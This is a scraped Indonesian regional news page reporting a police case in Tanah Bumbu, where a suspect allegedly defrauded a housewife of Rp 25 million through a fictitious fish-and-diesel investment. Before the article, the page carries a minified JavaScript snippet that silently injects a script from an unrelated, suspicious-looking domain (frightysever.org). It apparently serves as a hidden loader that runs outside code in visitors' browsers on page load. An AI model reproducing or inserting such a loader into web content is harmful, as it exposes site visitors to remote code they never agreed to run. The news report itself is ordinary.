(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BATULICIN – Seorang Ibu Rumah Tangga (IRT) yang merupakan warga Desa Barokah, Kecamatan Simpang Empat, Kabupaten Tanah Bumbu menjadi korban invetasi bodong jual beli ikan dan bahan bakar minyak (BBM) jenis solar.
Kasus ini seperti yang diungkap oleh Kapolres Tanah Bumbu AKBP Tri Hambodo SIK yang dikonfirmasi melalui Kasi Humas Polres Tanah Bumbu AKP I Made Rasa, Sabtu (13/8/2022).
Dalam keterangannya kepada polisi, korban menceritakan awal kejadian yang bermula pada Selasa (2/8/2022) sekitar pukul 10.54 Wita, dimana tersangka yang berinsial AY memberikan kepada korban list atau daftar investasi untuk modal usaha jual beli ikan dan solar.
Korban yang merasa tertarik dengan bisnis yang ditawarkan tersebut, kemudian mentransfer uang pertama untuk modal investasi sebesar Rp 20 juta, dan trasnfer uang kedua sebesar Rp 5 juta ke rekening Bank BRI milik AY.
Baca juga : Geger Asap Tebal Selimuti Bangunan Bening’s Clinic Banjarmasin, Diduga Korsleting Listrik
Namun, usaha jual beli ikan dan solar yang ditawarkan pelaku ternyata fiktif, setelah modal berserta keuntungan yang dijanjikan oleh pelaku tidak kunjung diserahkan kepada korban.
“Akibat kejadian tersebut korban, mengalami kerugian dengan total Rp 25 juta dan melaporkan kejadian tersebut ke Polsek Simpang Empat guna proses lebih lanjut,” ungkap AKP I Made.
Setelah memperoleh bukti, Polsek Simpang Empat kemudian menetapkan AY, sebagai tersangka dan AY datang sendiri ke Kantor Polsek Simpang Empat pada 10 Agustus 2022, setelah dipanggil oleh penyidik Unit Reskrim Polsek Simpang Empat.
Baca juga : Rayakan HUT Kalsel ke-72, Dinsos Semarakan dengan Lomba Olahraga Tradisional
Petugas juga mengamankan sejumlah barang bukti pendukung, berupa satu lembar laporan transaksi finansial, satu lembar mutasi transfer Bank BRI, tujuh lembar bukti chat Whatsapps bersama pelapor, satu unit handphone merk Oppo Reno 6 warna pasific blue serta satu buah ATM Bank BRI.
Akibat perbuatannya tersebut, tersangka terancam dijerat dengan tindak pidana penipuan dan atau penggelapan, sebagai mana dimaksud dalam Pasal 378 Jo Pasal 372 Jo Pasal 55, 56 KUHP dengan ancaman hukuman penjara maksimal 4 tahun penjara. (Kanalkalimantan.com/ftr)
Reporter : ftr
Editor : cell
KANALKALIMANTAN.COM, SAMARINDA - Aksi petugas Dinas Pemadam Kebakaran (Damkar) Kota Samarinda, Kalimantan Timur, saat memotong… Read More
KANALKALIMANTAN.COM, BANJARMASIN – Salah satu tempat ibadah yang melaksanakan ibadah Misa Natal 2024, Gereja Katedral… Read More
KANALKALIMANTAN.COM, BANJARBARU - Liburan Natal dan Tahun Baru menjadi waktu yang tepat untuk rehat diri… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Memastikan keamanan umat kristiani melaksanakan ibadat Natal 2024, kepolisian melakukan strelisasi gereja-gereja… Read More
KANALKALIMANTAN.COM, BANJARBARU - Absen pada sidang perdana di Pengadilan Negeri (PN) Banjarbaru, pihak tergugat Komisi… Read More
KANALKALIMANTAN.COM - Setelah sukses menggebrak dengan promo spektakuler di HUT ke-129 BRI, kini BRI kembali… Read More
This website uses cookies.